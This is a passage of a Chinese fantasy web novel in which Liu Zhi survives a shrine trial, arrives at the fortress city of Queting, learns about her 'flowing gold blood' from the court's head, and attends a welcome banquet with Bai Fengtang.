江琥呕出鲜红的血,明亮的眼睛望向柳鸷,“对......不起柳鸷......我懦懦......无能......之前没......救你......我一直......后悔。”
“没关系,我接受你的道歉了,今天你很勇敢。”柳鸷有些茫然无措,她想到马上就要回到阙庭,江琥的手就会恢复的完整如初,可现在......
江琥染满血的嘴角,笑了笑,“假如......再来一次......我一定会......勇敢......救你......”江琥捂在腹部的残手,蓦地垂下——
江琥死了。
焚龙收走江琥身上的十六片金箔,以及谷栖夏违规所获的金子。失去成为上舍的机会,谷栖夏整个人也萎了。
焚龙无所谓道:“好了好了!苦情戏剧终了,小爷要接着审判。”
“违规者三,柳鸷违规采用火草制作衣裳,立即处决。”
柳鸷:“?”表示不知情,她也难逃一死么?
焚龙尖曲的爪子伸向柳鸷,柳鸷不是认命的主,出手反抗。
柏封棠一把擒住焚龙的大爪,挡在柳鸷身前,“主意是我出的,与她无关。”
焚龙看向柏封棠,两个龙角动了动,来了兴致,“你的主意啊?那更好!小爷正愁抓不到你的把柄,现在小爷就送你上西天!”
焚龙卷起手,握紧拳头,携着强大的粉色光弧击向柏封棠——
柳鸷并不打算向焚龙解释火草是她的主意。
她觉得柏封棠既然敢这么说,自会有办法解决。如果柏封棠最后真解决不了,被焚龙杀了,柳鸷大不了赔他一命。
柏封棠以一道金光堪堪拦住,径直拨开,颇为傲慢的质问:“焚龙,你哪只眼睛看到规则大典里有规定,寒衣龛的衣裳不可以用蚕丝以外的丝来制作?”
“滚回去认真背下规则大典吧!连我有没有犯规都审判不清楚!你这个司寇干脆别做了。”
秦为墨附和:“对啊,你敢公报私仇,我会让阙庭向神参你一本。”
焚龙皱着眉想了想,咬牙切齿的收了手,“你、你给小爷等着,小爷今天非审判你不可。”
焚龙丢掉纸卷轴,凭空变出一本厚厚的《流金神龛规则大典》,信誓旦旦道:“小爷一定要会找到你犯规的条例。”
焚龙说着,抱着大典趴在地上,埋头翻阅,研究条例。
众人:“......”
陈离翡一屁股坐在地上,抱怨着,“它要研究多久啊?连续在神龛上工十天了,我都好累了,竟然还要因为焚龙延工。喂!死龙!你能不能行啊?不要耽误我收工。”
秦为墨捂额,安抚着陈离翡。
万宝子扯了扯柳鸷,“美人姐姐,宝子好饿了。”
“那我去湖里抓鱼。”柳鸷带着万宝子去湖边,其他人见焚龙没这么快,便分头行动,捡柴,烧火。
柳鸷在湖里网鱼时,瞳孔上的数字在经历疯狂的跳动后,最终停下。
手腕上的金菜闪了闪,柳鸷避开万宝子。
没一会儿,金菜终于跳起来,“恭喜宿主,您当前观众满意值为「17.8%」,离回到现世界只差「82.2%」的距离。”
柳鸷的手挥过眼前,红字消失,摘下红纱,问道:“这个观众满意值的标准到底是什么?”
“根据观众喜好来定。”
“好吧,那我换种问法,不巅庙前的杀戮结束了吗?”
25. 游阙庭(一)
得到确切的答案,柳鸷就已隐隐明白了。
她告诫自己那些选手都是NPC,不必在意,又想着如果她能再强大些就好了——
柳鸷和万宝子抓了几条鱼回来烤着,从不吃蛇的柏封棠不知道从哪抓来一条蛇,把蛇吊在树上,表演生剥蛇皮。
万宝子见了,立马丢了鱼,兴高采烈的跑过去,十指扣手着问:“师兄师兄,宝子可以吃蛇蛇吗?”
柏封棠满手染血,丢了蛇皮,摘出一颗小小的蛇胆丢给万宝子,“吃吧。”
陈离翡突然对柳鸷说:“他在内涵死粉龙。”
柳鸷瞧了瞧不远处的焚龙,一条庞然大物的蛇身盘踞在桑树林间,匍匐在地上,刻苦的钻研典籍,不由扑哧一笑。
柳鸷又望了望陈离翡,两个圆圆的双平髻,搭配双开门胸肌,实属可爱。怎么会有人,以脖子为分界线,以上清纯俊美,以下凶猛威武。
陈离翡瞪着眼,“看什么看?没见过男的。”
柳鸷笑言,“确实没见过把女装穿的这么好看的男人。”
陈离翡切了一声,“孤陋寡闻!目光短浅!”
柳鸷坦然道:“我是目光短浅,那又怎样?不像某人,一边打着怕女人的旗号,一边穿女装给我装姐妹情深,欺骗我幼小的心灵。”柳鸷佯装心痛,覆上心口。
“你胡说什么?我就是觉得同性相斥,异性相吸,我穿女装是想让女人不要靠近我而已,谁知道你......”陈离翡一怔,蓦地羞得红了耳根,连连后退,指着柳鸷:“你你你!不会是爱上我了吧?”
柳鸷:“......”
柏封棠:“......”
秦为墨:“......”
柳鸷扑哧一声,捧腹大笑。
柏封棠将蛇丢给万宝子,大步迈近,朝陈离翡招了招手,敛着声,“你说谁爱上你了?”
陈离翡没动,小声嘀咕了一句。
秦为墨笑不可仰,脱下外袍子递给陈离翡,转而和柳鸷解释,“你别怪他,他的心智还停留在十五六岁,没有恶意的。”
十五六岁?
“那他实际是?”
“二十有二,我们同岁。”
“那他十五六岁是发生了什么?”
“他......”秦为墨望向陈离翡,披上衣袍,胡乱拆了发髻,脱离了女相,又是一副风流倜傥的俊俏儿。
秦为墨见此,只是轻轻的愁叹,“怪我不好。”
柳鸷明白了,确实是少年时期的遭遇导致陈离翡患上怕女人的心理疾病。
柏封棠提醒,“解决问题的方式是直面,而不是逃避。”
“让他直面女人?”秦为墨思忖着,“我看小翡好像没那么排斥柳鸷。柳鸷,如果可以的话,你来试试?”
柏封棠和柳鸷同时出声。
“她不行。”
“可以的。”
事情就这样应承下来,柏封棠冷哼一声,烤蛇去了。
柳鸷跟过去,从怀里取出一个白色的蚕丝佩囊递给柏封棠,“你原先那个套树套坏了,这个是我新缝的,虽然比不上你的故人所赠,但是希望你不要嫌弃。”
这是先前从陈离翡那得来的蚕丝,原本要都拿去制衣裳的,但柳鸷于心有愧,私心做了一个一模一样的佩囊,还给柏封棠。
柏封棠眸光微凝,接过佩囊,一时有些沉湎。嘴唇翕动,半晌,只道:“多谢。”
众人用树枝将鱼、蛇叉成串,百无聊奈的烤着、等着。谷栖夏和柳鸷沉默的挖坟,埋葬了江琥。
过了一炷香的时辰,众人打算开始吃香喷喷的烤肉时,焚龙终于从典籍里抬起头,不可置信的喃喃道:“怎么会没有呢?这肯定是假大典!”
《流金神龛规则大典》里既没有规定不可用蚕丝以外的丝制作衣裳,也没有规定只能用蚕丝制作衣裳。
柏封棠钻了一个规则漏洞。
焚龙咬着后牙槽,“可惜了貌宜,死在一件赝品红罗绮上。”
柏封棠耸耸肩,淡淡道:“执念即生,真身既成。是她自己没发现,怪不得任何人。”
“哼!这次算你走运。下次可没那么好运了。”焚龙不甘心也无济于事,合上典籍打算离开。
怎料,一阵风过带着一抹香喷喷的味道。焚龙一眼盯住了火架,隔空抢走火架上的所有烤串,占为己有。
陈离翡立即反应过来,“死粉龙!把串放下!”
焚龙挑衅似的,对着陈离翡张嘴,獠牙狠狠地咬了一口烤鱼、蛇肉,吧唧着嘴巴,“真香啊!”
陈离翡气得要冲上去,被秦为墨死死拦住了,“几个烤串而已,回阙庭多的是。”
焚龙挑衅未果,也觉得无聊,便一爪抱着典籍,一爪薅着烤串,扭动着尾巴,屁颠屁颠的离开,还不忘贱贱的放话:“不要让我抓到你们的小把柄哦~~~小心我审判你们!”
陈离翡暴怒:“他妈的!老子的鱼!老子辛辛苦苦烤的鱼!!!”
万宝子飙下两行泪:“宝子的蛇蛇,呜呜呜~~”
焚龙离开后,天色恢复了原本的模样。
东边的日出光晕,逐渐驱散黑夜,一束束光柱穿过树叶,如金色的瀑布般倾泻而下。
一行人饿着肚子,迎着光前进。
终于在前方一公里的一棵树洞里,找到了通往阙庭的门。
门已开,闪着金光,看地上极其浅的脚印似乎已经有人进去了。
谷栖夏一马当先,进入树洞门。
“等等......等等我!”不远处,跌跌撞撞跑来一个浑身是血的男人。
待他走近看,才发现是曲皓尧。
深渊前,厮杀之下,唯一的幸存者。
陈离翡惊叹,“不亏是曲哥!看你这么顽强,我就勉强扶你一把。”
秦为墨和陈离翡左右搀扶着,半昏半醒的曲皓尧进入树洞。
柏封棠伸出手,万宝子乖巧的幻化成鸟蛋,由柏封棠收进一个赤色的八角盒里。
寒衣龛上,只剩下柏封棠和柳鸷。
柳鸷觉得奇怪,“宝子,为什么要这样?”
“为防止龛入侵,门内设有一道蜿蜒的藤蔓小径,来绞杀龛。”
“那我......”柳鸷本想打算去阙庭看看陈离翡曾说过的,记载着关于流金血的书籍。
如果龛会被藤蔓绞杀,那她还怎么去?
“你不是想知道自己是不是龛吗?”柏封棠一边往树洞走,一边回头说:“进来试试,就知道了。”
柳鸷以为柏封棠若想杀她,易如反掌,不必哄骗她进入树洞。
所以柳鸷大胆的迈入树洞。
洞内两侧白花花的,只有一条拔地而起、蜿蜒的藤蔓小径。径上长满了扶芳藤、九重葛、凌霄花和铁线莲等各类藤蔓植物,交缠而成一座拱门。
这些藤蔓应该绞杀过不少龛,条条茎部有一个成年人的拳头般肥硕、呈现醇厚的深红色,花朵也绽放得过分妖冶。
五颜六色,美如仙境。
柳鸷谨慎地踏进去,藤蔓突然直直的攻向柳鸷!
柳鸷立即出手,怎料藤蔓在她掌心前停下,缩了一下,萎软在地上,快速后退,退到了比原先更后的位置。
柳鸷不太明白,她这还没出手呢!
柏封棠挑了挑眉,调侃着:“把小藤们吓成这样,看来你强的可怕啊。”
“怕我?”
难道是因为她的流金血?
柳鸷想,藤蔓既然怕她,那就不会攻击她,那她就可以顺利去阙庭了。
柳鸷心情颇好,抬手摸了摸藤蔓,是冰冷、粗粝又鲜活的。她得瑟着,“谢谢你们哦,虽然你们看着又奇怪又狰狞,但还是很可爱的。”
藤蔓在柳鸷的手指上抖了抖,开始兴奋的上恰恰、下恰恰的狂舞着,像
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在跳老年迪斯科。
柳鸷:“......它们这是?”
柏封棠噙着笑,“在欢迎你回家。”
柳鸷朝藤蔓连连道谢,挥了挥手,紧随柏封棠离去,并未看到,整条小径的所有藤蔓,在舞曲毕时,皆虔诚地垂下了花朵。
两个人通过藤曼小径尽头的门,到达阙庭城门前的石桥上。
柳鸷正对着柏封棠,越过他的肩膀,第一眼见到的是一片荒凉。
一个庭子都没有?
桥下的路已荒废,前方是一大片遍布荆棘的荒野,能嗅到一抹枯木腐败的气息。
野径里,风沙弥漫,刮出呼呼的嚎叫,听着很是阴森、恐怖!
柳鸷有点嫌弃,“选手就住这种地方?”
柏封棠略一顿,不由握拳抵唇轻笑,“你再仔细看看。”
柳鸷眯起眼睛,瞄见一丈处的荒野里,似乎倒着一个褚红色神龛。神龛上,金色的字如狂草般。
太远,柳鸷看不清。
“这是神龛。那阙庭呢?”
柏封棠扶住柳鸷的肩膀,“现在,向后转。”
柳鸷回身,高耸、厚实的城墙撞入她的视线,一块块沧桑、坚韧的青石屹立百年,见证了王朝与人类的兴衰。此刻,在晨曦的映照下,璀璨生辉。
金辉流泻,温柔的照拂着从青石缝中顽强生长出的野草,透露出一股壮丽又磅礴的凄美。
城墙上高高悬挂着一幅巨大的、庄严的匾额,苍劲有力的题写着“阙庭”二字。
匾额之下,深木色的铜钉巨门,大刺刺的洞开。
士兵身披厚重的铁甲,手持长戟,威严的矗立成一排,守得连一只苍蝇都飞不进去,颇有金戈铁马的雄姿。
只留下一个小口,供选手们排队,一个一个报名字和舍级登记,刷脸通关,以统计选手的存活率。
看来,阙庭是一座戒备森严的城池堡垒。
柳鸷和柏封棠站着队伍最后,也就是桥尾。她往下瞅,是一条黑水河,水流静静的荡漾、流淌着。
“这是护城河,以河为分界限,往后,下了这座桥就进入神龛了。”柏封棠说。
柳鸷指着后方的荒野,“那是几阶龛?”
“上八龛。”
这么高!!!
柳鸷的脚尖偷偷往前挪了两个小碎步。
选手队伍从城门排到了桥尾。
秦为墨等三人排在中间的队伍,不知怎得,陈离翡喊了声:“还排个屁啊!老萧快来!曲哥快不行了。”
阙庭守卫队的将军萧杨带军医提着担架赶来,拿出一面符牌镜刷脸通过,在黄册子上勾选三人的名字,才放人进去。
这时,萧杨看见了站在队伍尾巴的柏封棠,“柏神,怎么在这里排队啊?”
前方的选手们听见声音,纷纷扭头向柏封棠敬意。
上舍的选手有优先通关权。
但柏封棠并不以为意,只是颔首致意,“陪人。”
前排的选手议论起来,“柏神竟然陪个女的排队!那女的谁啊?有我漂亮么?”
旁人回:“是比你漂亮。”
......
萧杨饶是有趣的打量着柳鸷,“小姑娘,看着眼生,叫什么名?哪个舍的?”
这黄册里应该没有柳鸷的名字,柳鸷沉思着要如何回答。结果忽然听见柏封棠说:“柳鸷。”
柳鸷:“......”瞪了柏封棠一眼,只能头铁的补充,“外舍乙等。”
萧杨翻开黄册,在外舍乙等页面一顿翻找,许久未果。
前排的选手神色戒备的嘀咕:
“该不会没她名字吧?”
“嚓!难道是龛混入?”
“萧将军,拿符牌镜照下,必现原型。”
......
最后,萧杨放下黄册,掏出符牌镜,“来,小姑娘,识别下脸部。”
26. 游阙庭(二)
柳鸷不清楚符牌镜的能力,但这里是阙庭,众多选手对阙庭的头号通缉犯,虎视眈眈着。万一符牌镜照出她的流金血,她很可能会当场被这些选手血溅城墙。
柳鸷不太想照。
她望向柏封棠,柏封棠轻摇法扇,散漫得很,一点也没有要出手帮忙的意思。
“柳姑娘,不想识别吗?”萧杨问。
“没,我就来。”
在纵目睽睽之下,柳鸷忐忑的走至符牌镜前,乖乖的照了下。
欸?怎么灰头土脸的?
柳鸷擦了擦脸,捋了捋头发。
符牌镜倏然出声,“识别选手,柳鸷。”
萧杨收起符牌镜,问:“是鸷鸟的鸷?”
“嗯。”
萧杨翻到黄册第一页的空白页,独独写着柳鸷两个字。“原来藏在这里,难怪没找到。”
萧杨爽快的勾选柳鸷的名字。“好了,你随柏神先进去吧。对了,柏神,庭长让我转达你,回来就去找他一趟。”
柏封棠带柳鸷进入阙庭。他侧眸,发现柳鸷正以一种怀疑的目光看着他,促狭的笑道:“符牌镜是神赐之物,动不了手脚。”
“好吧。”柳鸷垂首思忖,所有人都觉得她眼生,但符牌镜认识她,为什么?
阙庭是一座以六爻八卦图为建筑构造的城。
城里很大,四周建筑以六爻的八个方位为主,四平八稳的分成排区,从外到里分别对应为外舍、内舍、上舍的选手寝室。
而建筑围绕的正中央,是一座古朴、耸立的八角楼。
柏封棠领柳鸷前往外舍乙等寝室,一路上遇到不少选手,各个退避让道,又窃窃私语。
柳鸷左右打量,两边屋子残瓦破檐的,窗棂被蛀虫啃食过,连门褴上都长了野草。她悄声问:“这该不会是外舍排区吧?”
柏封棠平静的说:“嗯,不是你自己报的外舍乙等吗?”
柳鸷:“......”自作孽啊!
柳鸷边走边扭着脖子,目光被八角楼的屋顶、垂直悬挂着一个金钩衔着八角大架的白色丧幡吸引。
丧幡高高耸立于天地间,写着“悠荡太空,让此以归”八个字。
“诶!”柳鸷没注意看路,一头撞进柏封棠块垒分明又富有韧性的胸腹肌。她吃痛的揉了揉额头。
微风拂过,恰携着柏封棠的几绺丝滑垂落的长发,若有似无的撩惹柳鸷的玉颈,似在扰痒痒般。
柏封棠就势一低头,“看什么?心不在焉的。”
柳鸷耳后微微酥麻,警惕的后退半步,指了指丧幡。
“那是引魂幡,幡下英雄冢。”柏封棠引着柳鸷向前,解释道:“斗争数百年来,牺牲的选手数不胜数,肉身不会带回阙庭,引魂幡是为了引回魂魄,葬以安息。”
这样的世界,真是悲凉又英勇。
柳鸷望向幡,心中油然崇敬。
两人来到西北方、艮七的外舍乙等寝室,柏封棠站着一间屋子前,“你就住在这,进去看看满不满意?”
“不满意还能换不成?”柳鸷瞧着这一排的屋子,瓦片倒是齐全,糊着的窗棂纸虽粗劣,但勉强也能挡风雨,门框的漆虽脱落,但幸运的是没长草啊!
“可以。和我换。”
柳鸷:“......”上舍?可拉倒吧!
柏封棠轻笑一声,忽然凭空响起一道温厚的男声:“封棠,回来了。”
柏封棠敛了笑,取出一片金箔,淡淡的嗯了一声,“我现在就过去。”
随后,柏封棠交代了两句,先行离开。
柳鸷正打算推门进去瞧瞧,余光瞥见谷栖夏从隔壁排的外舍寝室出来,眼睛微红,匆匆离去。
柳鸷走过去看,才发现那个寝室上挂着江琥的牌名。
两个士兵沿寝室过来,将几个牌子收走,连同江琥的牌子也收走了。
看来这些都是已经牺牲了的选手。
外舍乙等的寝室,十分简陋,一张方桌配左右两张木板床,四壁空空。
柳鸷推开窗户,朝北方刚好可以看得见阙庭的城门,越来越多的选手从不同的神龛回来了。
“嘿嘿!”一道人影突然闪现在窗户前,是陈离翡。
他又换上了女装!!!
是一件水蓝的罗裙。
陈离翡探头越过窗沿,左右望了望,“原来你住这呀?真差劲,连副茶水都没有。”
柳鸷想着既然答应了秦为墨,要帮忙纠正陈离翡。那纠正他的第一步,就是戒掉女装。
柳鸷抱臂思索着。
半晌,柳鸷故意往陈离翡的衣袖抓,还未触及,陈离翡像猴子一样窜着跳离三尺之远,“你!说话就好好说话,别对我毛手毛脚的。”
柳鸷佯装无辜的,“啊,不好意思,我忘记你是男子了。你穿女装,我下意识以为你是女子,就亲近你了。”
陈离翡:“......”
“那我穿男装可是会迷倒阙庭万千少女的,防众人不如防你一个。”
柳鸷摆了摆食指,“非也非也。阙庭的姑娘现在大概都知道你是个有异装癖的变态,躲你都来不及呢。你要防的只有我。”
“真的?”
“不信你去换回男装,我们一起出去试试。”
陈离翡半信半疑,被柳鸷连哄带骗换了一件男式长袍。
柳鸷心想,小样的,纠正他还不是手到擒来。
柳鸷让陈离翡引路,带她去藏书阁,她想去找那本记载流金血的书籍。
两人从外舍排区往中心走,到了内舍排区,是完全不一样的景色。
飞檐楼阁间,招牌旗帜飘扬。沿街的茶楼酒肆,布庄米市,应有尽有。街上人流不息,小商叫卖,小贩吆喝,此起彼伏,皆以金子为币,买卖物品。
颇有泱泱盛世的繁华。
柳鸷和陈离翡走过大街,有不少认识的男男女女,见到陈离翡竟然换回男装,身边还跟着个女人,觉得十分不可思议。
但无一女子前来搭讪。
陈离翡歪头想了想,柳鸷说得好像确实有道理。
达到上舍寝室排时,街道是一片宁静的。
四周是红墙绿瓦的别院,仅能窥见院内的琉璃瓦在阳光下流光溢彩。
陈离翡指着前方的八角楼,“喏,那就是藏书阁,你自个去吧,我要去找墨墨了分享喜讯~~”
八角楼矗立在阙庭最中心的位置,八根粗大结实的朱漆红柱顶立起八层高的楼,每个椽子都雕刻着花纹。楼外回廊环绕,栏杆上覆盖着一层鲜艳欲滴的丹漆。
每层楼的八个飞檐锐角,高高翘起,古香古色的琉璃瓦顶,在正午的阳光下熠熠生辉。整座楼,看起来极为高大
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、典雅。
柳鸷进入回廊,推了推门,竟然推不动。她后退几步,腰撞上一个龙凤雕刻的书案。
刚刚并没有这个东西,是从地上升起来的?
书案上摆放着一本册子和一支墨笔,册里头记有莲心殿、藏书楼、英雄冢......
每一页名称皆不同,且每个楼阁下,都签有人名,奇怪的是这些人的字迹潦草像鬼画符一样。
柳鸷看到最新鲜的墨迹,竟然是鹤来庭下书写着柏封棠的名字。
柳鸷猜测这个楼里别有洞天,但她的目的是藏书楼,于是柳鸷提笔将名字工工整整的签在藏书楼那一页。
门,骤然开了。
柳鸷刚进入藏书楼,一阵淡淡的木香与墨香与交融清香,扑鼻而来,这种超脱尘世的味道令柳鸷的心都静了下来。
一层层书架里,井然有序的排列着各式各样的书籍,有些通俗易懂,有些则画着奇怪的图案,显得神秘又令人探索。
书架排排环绕,原木梯子蜿蜒盘旋而上,直通穹顶,很是庄严古老。
柳鸷根据陈离翡的说法,找到九排三列,第六层,但并没有看见《流金神龛攻略》这本书籍,倒是翻出了一本《草莓种植技术手册》。
书皮已泛黄,柳鸷翻开看,竟然还有人在手册里,规规整整的做了笔记,也是很神奇!
柳鸷一整排找过去,依旧没有找到那本书。
一道木轱辘转动的声音传来,柳鸷扭头,是一位五官俊朗的青年。
青年眼纹颇深,一头丝滑的银发高高束起,敞坐在轮椅上,正有条不絮的将腿上的三五本书籍依次放进书架里,看着似乎对藏书楼很熟悉。
“这位小友,请问你知道《流金神龛攻略》这本在哪里吗?”
银发青年抬头望她,银白的眉宇带着不可忽视的深沉,是一种上位者的威严。片刻,他才开口:“你找那本书做什么?”
柳鸷觉得此人声音有些熟悉,且不简单,便借口:“我帮搭档借的。”
“那一本书已被列为禁书了。”银发青年冷冷道。
柳鸷有些无语。
银发青年弹了弹长袍前襟,“不过,我看过那本书。”
柳鸷点点头,并不打算询问这个陌生的青年。
四目相对,一时无话。
反而是银发青年先开口,“你想知道什么?”
“这取决于你想告诉我什么。”
银发青年抿着唇,审视着柳鸷,半晌道:“说最传奇的部分,流金血。”
柳鸷一怔,难道对方会读心术?
“古书里记载,得流金血者得天下。但我活了这么久,从未见过。传闻,流金血可源源不断的再生,成就无边法力,继而杀神灭世。”
柳鸷听得心惊,但不敢轻举妄动,只能压着心中的惊奇,泰然自若着,“所以,流金血是个坏种?”
“流金只存在于焚山,只有在焚山的流金石里浴火重生的生灵,才能获得流金血。你认为,从焚山里出来的怪物会是什么菩萨吗?”
柳鸷想起那些寒衣龛上的杀戮,附和道:“小友说得有道理。”但并不承认自己是怪物,“敢问小友,我们该如何对付这怪物?”
有人在门户处毕恭毕敬道:“庭长,选手们已经都回来了。萧将军已统计完名单,在鹤来庭里等您了。”
27. 游阙庭(三)
银发青年挥了挥手,来人退下。
银发青年转过轮椅,叮嘱柳鸷:“你只要记住,若是遇上拥有流金血的生灵,最好的方式是囚养它、吞噬它、在流金血觉醒前,摧毁它。万不可让它黑化,否则人类的命数将尽——”
木轱辘转动,咚咚的离开了藏书楼。
柳鸷以为这人可能是个资深的守藏人,没想到竟然是庭长,难怪声音听着和传音号里温厚的声音很相似。
柳鸷在脑海里将这些天的所有事情串成线,不得不怀疑柏封棠也看过那一本禁书,所以假借契约之名留住她,目的是为了囚养她、吞噬她、继而摧毁她?
但柏封棠似乎并不主动索取流金血,他到底有什么目的?
还有庭长提到的黑化。
柳鸷自认为并非纯良之辈,但绝对是遵纪守法的良民,黑化对她而言简直就是个笑话。
柳鸷在藏书楼翻阅了许多书籍,得到一个关键信息。
原来控制、集中自己的意念,用念力控制金子,方可将金子的法力价值发挥到最大化。
直到临近傍晚,柳鸷才原路返回外舍乙等寝室。
柳鸷还未到寝室门口就瞧见门前围着一群人,嘀嘀咕咕的。
“我觉她肯定在里面。”
“那你去敲门问问她到底怎么搞定柏神的。”
......
柳鸷踱步走近,在人群后咳了两声,众人扭过头,见了柳鸷“啊!”的尖声,乌泱泱的、如飞鸟走兽般,一哄而散。
只剩下一个灵巧的小姑娘。
她捧着托盘上的一件衣裳,笑吟吟的看着柳鸷:“柳姑娘,我是长宁布庄的东柠。这是按照柏神提供的尺寸制作的襦裙服。今夜八角楼设有洗尘宴,你是否要试试?”
柳鸷垂眸瞧瞧自个儿这身荼白长袍,遁地浑水,进过染缸杀过龛,破破烂烂的,确实该换了。
“你可以试试,若不合身,我再给你改改。”
“多谢。”柳鸷接过衣裳,心想,这阙庭竟然还有私人高级定制服务。
片刻后,柳鸷一袭朱色的丝绸百水长裙,裙面绣有玄金色的棣棠花,鹅黄色的敞口纱衣堪堪罩着玉白的薄肩,显得清雅、灵动又不失娇美之态。
东柠的眼睛亮了亮,“柳姑娘,真是倾国倾城。”
寝室里没有镜子,柳鸷看不到,只能回,“是东柠姑娘的手艺好。”
“那柳姑娘是否再来一套?”
“这一套多少金子?”
东柠竖起一根指头,“金豆。”
柳鸷:“......这么贵?”要知道选手在神龛里拼死拼活,还不一定能拿得到一粒金豆。
等等,柳鸷惊觉自己掉入了一个陷阱里。
柳鸷连忙边解衣裳,边说:“这衣裳我不要了。我一个外舍乙等,总共就几片金箔,付不起。”
东柠按住柳鸷的手,紧紧的审视着她,半晌,才说:“不用你付,柏神已经付过了。”
柳鸷借故脱离东柠,佯装花痴的打量着自己,“这么好!那麻烦你再做一套白色的长袍吧,方便参龛时穿,也找他付钱。”
等东柠离开,柳鸷的兴致就落了下来,她坐在床沿上想,柏封棠是知道她的情况,所以东柠不是他派来试探她的。
柳鸷不知道那人是谁,但阙庭已经有人在怀疑她了,之后得更加小心才行。
洗尘宴是阙庭的惯例,所有存活的选手都会参加,但宴会等级分明。
上舍的选手在莲心殿里赐宴,内舍的选手在八角楼外,有单独的小桌小凳,而外舍的选手最多,只能在寝室门前的空地上,铺个大蒲团,席地而坐,仰天敬地。
柳鸷也不介意,就当作户外露营了。她盘坐在大蒲团边缘,不理睬周遭的人言啧啧,当这些不相干的人都是NPC。
稳稳的心态,大大方方的吃席。
殊不知莲心殿内,上舍的选手也在八卦柏封棠。
“听说柏神今天和一位外舍的女选手一起回来的。”
“听说傍晚他还给人家送了衣裳。”
庭长坐于高堂主位,颇为讶异,“哦,真有此事?”
柏封棠稳坐在右侧方,抿着杯壁,呷了一口酒,沉默以表。
“是什么样的女子能够俘获我们冰山的心?”
陈离翡在秦为墨旁边吃着菜,突然跳起来说:“哦,我知道!我知道!就是柳鸷嘛,长得可漂亮了。”
连陈离翡这种怕女人的男人都夸耀的女子,不由让其他选手想入非非了,暧昧道:“柏神,你莫不是在神龛里弄坏了人家衣裳,才送得?”
柏封棠敛眉,放下羽觞杯,“莫要胡说。新搭档,她出脑子,我出法力而已。”
美貌与智慧并存的女子不多见,选手们更好奇了,起哄想要唤人进来,一睹真容。
柏封棠没了耐性,疏离的眸光,睥睨过众人,倨傲道:“她又不是猴子,凭什么要供你们观赏?你们是有多大的脸?”
众人讪讪,不敢再作妖,未曾注意到陈离翡已偷偷从侧殿,溜了出去。
陈离翡跑到外舍排区,昏暗的烛火下,人头攒攒,根本看不清哪个是柳鸷。于是,他河东狮吼,咆哮一声,“柳鸷!柏封棠请你到莲心殿里来。”
柳鸷被这一吼,快到嘴里的烤肉从筷子上掉了下来。
旁人齐刷刷的望向柳鸷,柳鸷在旁人又羡、又妒的目光中吃完这口肉,才不紧不慢的站起来,随陈离翡前往莲心殿。
陈离翡对着柳鸷挤眉弄眼的,柳鸷搞不懂这家伙在兴奋个什么鬼。
柳鸷一路从破败的外舍,穿过花团锦簇内舍,直到长街的尽头——八角楼内的莲心殿。
一入殿,柳鸷的眼睛闪了闪,穹顶上百盏琉璃灯照得整个大殿金碧辉煌,朱红色的梁柱雕龙画凤,极为精湛。
华丽又精致的帷幔垂落在明堂两侧,恰好能看见主位上立着一面考究的金漆屏风,以小金石镶嵌,绘着山水图,真的是雅致又奢华的漂亮。
各个选手独桌上摆满玉觞千盅,珍馐美味,看着就像一件件艺术品,真是堪比宫廷盛筵。
柳鸷本来觉得户外露营挺好,但现在忽然不香了。
柏封棠抬眸间,瞥见了陈离翡身后的柳鸷,睑颊极微的颤了下,冷着脸站了起来。众人循着他的目光望去,隐隐猜到了,但没出声。
气氛一下子僵了下来。
毫无察觉的陈离翡还在小声给柳鸷介绍,“主位的是阙庭的庭长,下面是三个舍的舍长,以及三十七位上舍选手。”
他转而笑嘻嘻的说:“来来来!大家心心念念的柳鸷来啦!”
柳鸷已经怀疑,并非柏封棠让她来的。但事已至此,她只能不着声色的扫过全场,朝各位点了点头,“各位前辈好,我是柳鸷。”
有个粗犷的男人看向柳鸷,和旁人调侃着:“看她长得挺清纯的,没想到能勾搭上柏神,不知道是上头的嘴功夫了得,还是下头的——”
柳鸷皱眉,还未出口反击。
一个羽觞杯腾空、疾速越过中堂径直摔在男人的脸上,割出一记血痕。柏封棠带着压迫式的低叱:“再多说一句,割的就是你的舌头。”
男人气得猛蹿起来!
剑拔弩张间,庭长抬手,安抚男人:“娄飞,你再努力努力,争取以后能成为封棠的对手。现在,把刀放下。”
娄飞面对柏封棠压倒性的武力值,敢怒而不敢言,只能擦了血作罢。
庭长说:“好了,都坐吧。萧杨,把这次的参龛情况公布下。”
柏封棠望向门口,低沉道:“过来。到我这里来坐。”
柳鸷乖乖走到柏封棠身边坐下,有侍者添了一副碗筷,但柳鸷没动,反而暗暗扯住柏封棠的衣袂。
柏封棠垂下眼帘,眼波斜斜的盯着柳鸷玉白的手,紧紧捏着他的玄色丝缎。
他薄唇微抿,眼神沉了又沉。
柳鸷带着委屈的语调,小声嗫嚅:“陈离翡说你叫我来,但我觉得你好像并不想我来。”
“并非你想到那样......”柏封棠本想说些什么,最后只是轻叹一口气。原是蹙着的眉眼,轻弯了起来。
柏封棠抬手拿起新的筷子,给柳鸷布菜,衣袂任由柳鸷攥着。他的手动一下,柳鸷就跟一下,最后,碗里不多不少都是柳鸷喜欢的牛肉。
“你在神龛里没吃好一顿,本想让你好好吃饭的。”柏封棠尾调一隐,将筷子递给柳鸷。
“多谢。”柳鸷表面上乖巧的接过筷子,心里却想,既然不是柏封棠喊她来,那是谁?
柳鸷原本怀疑,叫她来的人和让东柠试探她的是同一个人。但柳鸷悄声问了隔壁的陈离翡,才知道是陈离翡自己觉得好玩,自作主张搞得鬼。
柳鸷气得不行,一拳暴揍在他腹部!
陈离翡捂着腹部,委屈的和秦为墨抱怨:“我就是觉得莲心殿的菜好吃,特意叫她进来,她还打我!没良心的!”
秦为墨徒然一笑,只得好声安抚。
大殿中央,萧杨放出一个金色的巨大榜单,上面密密麻麻、写了几千个选手的名字。在榜首上舍甲等位置的显眼包,必然是柏封棠。
上舍乙等是花茶儿、韩烊、秦为墨......共九个名字。
上舍丙等是共二十七个名字。
之后是内舍、外舍......
“这个花茶儿和韩烊,竟然比秦为墨还厉害。”柳鸷喃喃道。
陈离翡哼哼,还是不计前嫌,指着斜对面第一桌,黑面罩住半个眼睛、正在饮酒的独眼姑娘。“喏,就是那个,人称花罗刹!”
花茶儿一袭黛袍、乌丝利落的半绾、冷艳又飒爽得像一位行走江湖的侠女。她修长的手指间像变戏法般,盘玩着一串纯净又深邃饱满的蓝绿松石。
“韩烊就是她旁边的那个。”一身米金衫罩着雄壮的骨骼,将古铜色的肌肤衬的亮眼。一双狐狸眼狭长,双鬓却若刀裁般冷峻。
当他发现柳鸷和陈离翡的打量他时,冷冷瞟了一眼,气势很是强盛。
